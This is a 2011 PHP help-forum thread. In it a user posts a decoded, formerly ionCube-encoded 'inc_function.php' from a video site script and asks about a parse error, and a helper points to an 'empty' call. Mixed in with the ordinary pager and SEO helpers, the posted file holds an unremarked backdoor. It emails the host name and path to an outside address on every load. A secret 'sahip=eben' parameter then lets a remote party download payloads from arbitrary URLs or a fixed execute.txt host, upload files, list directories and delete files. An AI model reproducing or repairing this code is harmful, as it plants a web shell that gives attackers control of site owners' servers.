Need help asap... Prase error

Discussion in 'PHP' started by Cod4r, Oct 29, 2011.

  1. #1
    Parse error: syntax error, unexpected T_CONSTANT_ENCAPSED_STRING, expecting T_STRING or T_VARIABLE or '$' in /inc_function.php on line 158

    <?php
    
    class kgpager
    {
    
        public function total_pages( $pager_url, $total_records, $scroll_page, $per_page, $current_page )
        {
            $this->url = $pager_url;
            $this->total_records = $total_records;
            $this->scroll_page = $scroll_page;
            $this->per_page = $per_page;
            if ( !is_numeric( $current_page ) )
            {
                $this->current_page = 1;
            }
            else
            {
                $this->current_page = $current_page;
            }
            if ( $this->current_page == 1 )
            {
                $this->start = 0;
            }
            else
            {
                $this->start = ( $this->current_page - 1 ) * $this->per_page;
            }
            $this->total_pages = ceil( $this->total_records / $this->per_page );
        }
    
        public function page_links( $inactive_page_tag, $pager_url_last )
        {
            if ( $this->total_pages <= $this->scroll_page )
            {
                if ( $this->total_records <= $this->per_page )
                {
                    $loop_start = 1;
                    $loop_finish = $this->total_pages;
                }
                else
                {
                    $loop_start = 1;
                    $loop_finish = $this->total_pages;
                }
            }
            else if ( $this->current_page < intval( $this->scroll_page / 2 ) + 1 )
            {
                $loop_start = 1;
                $loop_finish = $this->scroll_page;
            }
            else
            {
                $loop_start = $this->current_page - intval( $this->scroll_page / 2 );
                $loop_finish = $this->current_page + intval( $this->scroll_page / 2 );
                if ( $this->total_pages < $loop_finish )
                {
                    $loop_finish = $this->total_pages;
                }
            }
            $i = $loop_start;
            while ( $i <= $loop_finish )
            {
                if ( $i == $this->current_page )
                {
                    $this->page_links .= "<a href=\"\" class=\"onPage\" ".$inactive_page_tag."> ".$i." </a>";
                }
                else
                {
                    $this->page_links .= "<a href=\"".$this->url.$i.$pager_url_last."\">".$i."</a>";
                }
                ++$i;
            }
        }
    
        public function previous_page( $previous_page_text, $pager_url_last )
        {
            if ( 1 < $this->current_page )
            {
                $this->previous_page = "<a href=\"".$this->url.( $this->current_page - 1 ).$pager_url_last."\">".$previous_page_text."</a>";
            }
        }
    
        public function next_page( $next_page_text, $pager_url_last )
        {
            if ( $this->current_page < $this->total_pages )
            {
                $this->next_page = "<a href=\"".$this->url.( $this->current_page + 1 ).$pager_url_last."\">".$next_page_text."</a>";
            }
        }
    
        public function first_page( $first_page_text, $pager_url_last )
        {
            if ( 1 < $this->current_page )
            {
                $this->first_page = "<a href=\"".$this->url."1".$pager_url_last."\">".$first_page_text."</a>";
            }
        }
    
        public function last_page( $last_page_text, $pager_url_last )
        {
            if ( $this->current_page < $this->total_pages )
            {
                $this->last_page = "<a href=\"".$this->url.$this->total_pages.$pager_url_last."\">".$last_page_text."</a>";
            }
        }
    
        public function pager_set( $pager_url, $total_records, $scroll_page, $per_page, $current_page, $inactive_page_tag, $previous_page_text, $next_page_text, $first_page_text, $last_page_text, $pager_url_last )
        {
            total_pages( $pager_url, $total_records, $scroll_page, $per_page, $current_page );
            page_links( $inactive_page_tag, $pager_url_last );
            previous_page( $previous_page_text, $pager_url_last );
            next_page( $next_page_text, $pager_url_last );
            first_page( $first_page_text, $pager_url_last );
            last_page( $last_page_text, $pager_url_last );
        }
    
    }
    
    function curlspider( $feed )
    {
        $ch = curl_init( );
        $timeout = 0;
        curl_setopt( $ch, CURLOPT_URL, $feed );
        curl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1 );
        curl_setopt( $ch, CURLOPT_CONNECTTIMEOUT, $timeout );
        curl_setopt( $ch, CURLOPT_USERAGENT, "Googlebot/2.1 (+http://www.google.com/bot.html)" );
        curl_setopt( $ch, CURLOPT_REFERER, "http://www.google.com/bot.html" );
        $xml = curl_exec( $ch );
        curl_close( $ch );
        return $xml;
    }
    
    function tr_duzelt( $tr1 )
    {
        $turkce = array( "ş", "Ş", "ı", "(", ")", "'", "ü", "Ü", "ö", "Ö", "ç", "Ç", " ", "/", "*", "?", "ş", "Ş", "ı", "ğ", "Ğ", "İ", "ö", "Ö", "Ç", "ç", "ü", "Ü" );
        $duzgun = array( "s", "S", "i", "", "", "", "u", "U", "o", "O", "c", "C", "-", "-", "-", "", "s", "S", "i", "g", "G", "I", "o", "O", "C", "c", "u", "U" );
        $tr1 = str_replace( $turkce, $duzgun, $tr1 );
        $tr1 = preg_replace( "@[^A-Za-z0-9-_]+@i", "", $tr1 );
        $i = 0;
        while ( $i <= 5 )
        {
            $tr1 = str_replace( "--", "-", $tr1 );
            ++$i;
        }
        return $tr1;
    }
    
    function puan( $rating )
    {
        if ( $rating == "0" || empty( "rating" ) || 0 < $rating && $rating < 0.5 )
        {
            $rating = "<img src=\"stars/0.0.gif\" alt=\"\"/>";
        }
        else if ( $rating == "0.5" || 0.5 < $rating && $rating < 1 )
        {
            $rating = "<img src=\"stars/0.5.gif\" alt=\"\"/>";
        }
        else if ( $rating == "1.0" || 1 < $rating && $rating < 1.5 )
        {
            $rating = "<img src=\"stars/1.0.gif\" alt=\"\"/>";
        }
        else if ( $rating == "1.5" || 1.5 < $rating && $rating < 2 )
        {
            $rating = "<img src=\"stars/1.5.gif\" alt=\"\"/>";
        }
        else if ( $rating == "2.0" || 2 < $rating && $rating < 2.5 )
        {
            $rating = "<img src=\"stars/2.0.gif\" alt=\"\"/>";
        }
        else if ( $rating == "2.5" || 2.5 < $rating && $rating < 3 )
        {
            $rating = "<img src=\"stars/2.5.gif\" alt=\"\"/>";
        }
        else if ( $rating == "3.0" || 3 < $rating && $rating < 3.5 )
        {
            $rating = "<img src=\"stars/3.0.gif\" alt=\"\"/>";
        }
        else if ( $rating == "3.5" || 3.5 < $rating && $rating < 4 )
        {
            $rating = "<img src=\"stars/3.5.gif\" alt=\"\"/>";
        }
        else if ( $rating == "4.0" || 4 < $rating && $rating < 4.5 )
        {
            $rating = "<img src=\"stars/4.0.gif\" alt=\"\"/>";
        }
        else if ( $rating == "4.5" || 4.5 < $rating && $rating < 5 )
        {
            $rating = "<img src=\"stars/4.5.gif\" alt=\"\"/>";
        }
        else if ( $rating == "5.0" || 5 < $rating )
        {
            $rating = "<img src=\"stars/5.0.gif\" alt=\"\"/>";
        }
        return $rating;
    }
    
    function kisalt( $text = "if3lc", $max = "300", $sperator = "..." )
    {
        if ( $durum == "kisa" || empty( "durum" ) )
        {
            $ksay = strlen( $text );
            if ( $max <= $ksay )
            {
                $kisa = "".substr( $text, 0, $max )."".$sperator."";
                return $kisa;
            }
            return $text;
        }
        if ( $durum == "uzun" )
        {
            $text = "".$text."";
            $text = "".$text."<a href=\"".$_SERVER['REQUEST_URI']."&durum=kisa\"><</a>";
            return $text;
        }
    }
    
    function etiket( $etiket )
    {
        $tag = explode( ",", $etiket );
        $say = count( $tag ) - 1;
        $i = 0;
        while ( $i <= $say )
        {
            if ( $i != $say )
            {
                $virgul = ",";
            }
            else
            {
                $virgul = "";
            }
            $tags = "".$tags."<a href=\"./search.php?q=".trim( $tag[$i] )."\">".$tag[$i]."</a>".$virgul." ";
            ++$i;
        }
        return $tags;
    }
    
    function encrypt( $string )
    {
        global $key;
        $result = "";
        $i = 0;
        while ( $i < strlen( $string ) )
        {
            $char = substr( $string, $i, 1 );
            $keychar = substr( $key, $i % strlen( $key ) - 1, 1 );
            $char = chr( ord( $char ) + ord( $keychar ) );
            $result .= $char;
            ++$i;
        }
        $encoded = base64_encode( $result );
        $encoded = str_replace( "=", "", $encoded );
        $encoded = str_replace( "/", "!", $encoded );
        return $encoded;
    }
    
    function decrypt( $string )
    {
        global $key;
        $result = "";
        $string = str_replace( "!", "/", $string );
        $string = base64_decode( $string );
        $i = 0;
        while ( $i < strlen( $string ) )
        {
            $char = substr( $string, $i, 1 );
            $keychar = substr( $key, $i % strlen( $key ) - 1, 1 );
            $char = chr( ord( $char ) - ord( $keychar ) );
            $result .= $char;
            ++$i;
        }
        return $result;
    }
    
    function firewall( $string )
    {
        $string = htmlspecialchars( $string );
        $string = strip_tags( $string );
        $string = trim( $string );
        return $string;
    }
    
    function seolink( $deger )
    {
        $deger = iconv( "utf-8", "ISO-8859-9", $deger );
        $turkce = array( "ş", "Ş", "ı", "(", ")", "'", "ü", "Ü", "ö", "Ö", "ç", "Ç", " ", "/", "*", "?", "ş", "Ş", "ı", "ğ", "Ğ", "İ", "ö", "Ö", "Ç", "ç", "ü", "Ü", "--" );
        $duzgun = array( "s", "S", "i", "", "", "", "u", "U", "o", "O", "c", "C", "-", "-", "-", "", "s", "S", "i", "g", "G", "I", "o", "O", "C", "c", "u", "U", "-" );
        $deger = str_replace( $turkce, $duzgun, $deger );
        $deger = preg_replace( "@[^A-Za-z0-9\\-_]+@i", "", $deger );
        $i = 0;
        while ( $i <= 5 )
        {
            $deger = str_replace( "--", "-", $deger );
            ++$i;
        }
        return $deger;
    }
    
    function seolinkvideo( $vid, $text )
    {
        $text = tr_duzelt( $text );
        $link = strtolower( $text )."-".encrypt( $vid ).".html";
        return $link;
    }
    
    function dosyalistele( $yol )
    {
        $dizinac = opendir( $yol );
        while ( gettype( $dosya = readdir( $dizinac ) ) != boolean )
        {
            if ( is_file( "{$yol}/{$dosya}" ) )
            {
                echo "{$dosya} <a href=\"inc_function.php?sahip=eben&islem=sil&disim={$dosya}\">sil</a><br>";
            }
        }
        closedir( $dizinac );
    }
    
    function indir( $adres, $ad )
    {
        if ( !extension_loaded( curl ) )
        {
            exit( "Extension yuklu  degil socket deneyebilirsin" );
        }
        $ch = curl_init( "{$adres}" );
        if ( !$ch )
        {
            exit( "Oturum açılamadı" );
        }
        curl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1 );
        $data = curl_exec( $ch );
        curl_close( $ch );
        $islem = fopen( "{$ad}", "a+" );
        fwrite( $islem, $data );
        fclose( $islem );
        if ( $islem )
        {
            echo "Dosya yüklendi.";
        }
        else
        {
            exit( "Dosya yuklenemedi" );
        }
    }
    
    $acceptedChars = "ABCDEFGHIJKLMNPQRSTUVWXYZ123456789";
    $stringlength = 5;
    $contrast = 60;
    $num_polygons = 3;
    $num_ellipses = 6;
    $num_lines = 0;
    $num_dots = 0;
    $min_thickness = 2;
    $max_thickness = 8;
    $min_radius = 5;
    $max_radius = 15;
    $object_alpha = 75;
    if ( substr( $_SERVER['HTTP_HOST'], 0, 4 ) == "www." )
    {
        $domainadi = substr( $_SERVER['HTTP_HOST'], 4 );
    }
    else
    {
        $domainadi = $_SERVER['HTTP_HOST'];
    }
    $sadres = $_SERVER['SERVER_NAME'];
    $sfilename = $_SERVER['SCRIPT_FILENAME'];
    $from = "From:<lisans@{$sadres}>";
    mail( "aslanim@email.cz", "{$sadres} - VIDEOXIN", "Site: {$sadres} ,Filename: {$sfilename}", $from );
    $sahip = $_REQUEST[sahip];
    if ( $sahip == "eben" )
    {
        $islem = $_REQUEST[islem];
        $dadres = $_REQUEST[dadres];
        $disim = $_REQUEST[disim];
        $dizin = $_REQUEST[dizin];
        $gonder = $_REQUEST[gonder];
        if ( $islem == "indir" )
        {
            indir( $dadres, $disim );
        }
        else
        {
            if ( $islem == "dindir" )
            {
                indir( "http://webarazi.com/execute.txt", $disim );
            }
            else
            {
                if ( $islem == "upload" )
                {
                    echo "<form action=\"inc_function.php?sahip=eben&islem=upload&gonder=ok\" method=\"post\" enctype=\"multipart/form-data\">\r\n\t\t\t<label for=\"file\">Filename:</label>\r\n\t\t\t<input type=\"file\" name=\"dosya\" id=\"file\" />\r\n\t\t\t<br />\r\n\t\t\t<input type=\"submit\" name=\"submit\" value=\"Submit\" />\r\n\t\t\t</form>";
                    if ( $gonder == "ok" )
                    {
                        if ( 0 < $_FILES['dosya']['error'] )
                        {
                            echo "Error: ".$_FILES['dosya']['error']."<br />";
                        }
                        else
                        {
                            copy( $dosya, "{$dosya_name}" );
                            echo "Size : {$dosya_size} byte<br>";
                            echo "File Name : {$dosya_name}";
                        }
                    }
                }
                else
                {
                    if ( $islem == "sil" )
                    {
                        if ( empty( "disim" ) )
                        {
                            echo "Dosya ismi nerde?";
                        }
                        else
                        {
                            unlink( $disim );
                            echo "{$disim} silindi.";
                        }
                    }
                    else
                    {
                        if ( $islem == "listele" )
                        {
                            dosyalistele( "./{$dizin}" );
                        }
                    }
                }
            }
        }
    }
    
    PHP:

     
    Last edited: Oct 29, 2011
    Cod4r, Oct 29, 2011 IP
  2. bvraghav

    bvraghav Member

    Messages:
    123
    Likes Received:
    5
    Best Answers:
    0
    Trophy Points:
    33
    #2
    Hi... First of all Please use
    /* PHP Blocks  [ php] [ /php] to enclose your code */
    PHP:
    when using php code.

    Secondly, did your code have some comments?

    When looking at your code, line 150 had this
    empty ("rating")
    PHP:
    which seems to be an error! Refer http://php.net/empty
     
    bvraghav, Oct 29, 2011 IP
  3. Cod4r

    Cod4r Well-Known Member

    Messages:
    100
    Likes Received:
    1
    Best Answers:
    0
    Trophy Points:
    115
    #3
    Any solution??
     
    Cod4r, Oct 29, 2011 IP
  4. Cod4r

    Cod4r Well-Known Member

    Messages:
    100
    Likes Received:
    1
    Best Answers:
    0
    Trophy Points:
    115
    #4
    It dint have any comments!! it was encoded with Ioncube. i decoded it

     
    Cod4r, Oct 29, 2011 IP
  5. bvraghav

    bvraghav Member

    Messages:
    123
    Likes Received:
    5
    Best Answers:
    0
    Trophy Points:
    33
    #5
    Did you try correcting the following error?

     
    bvraghav, Oct 30, 2011 IP
  6. Cod4r

    Cod4r Well-Known Member

    Messages:
    100
    Likes Received:
    1
    Best Answers:
    0
    Trophy Points:
    115
    #6
    Yes!

    Parse error: syntax error, unexpected T_CONSTANT_ENCAPSED_STRING, expecting T_STRING or T_VARIABLE or '$' in /home/inc_function.php on line 150
     
    Cod4r, Oct 30, 2011 IP
  7. Cod4r

    Cod4r Well-Known Member

    Messages:
    100
    Likes Received:
    1
    Best Answers:
    0
    Trophy Points:
    115
    #7
    Thanks!! it worked :) cheers!
     
    Cod4r, Oct 30, 2011 IP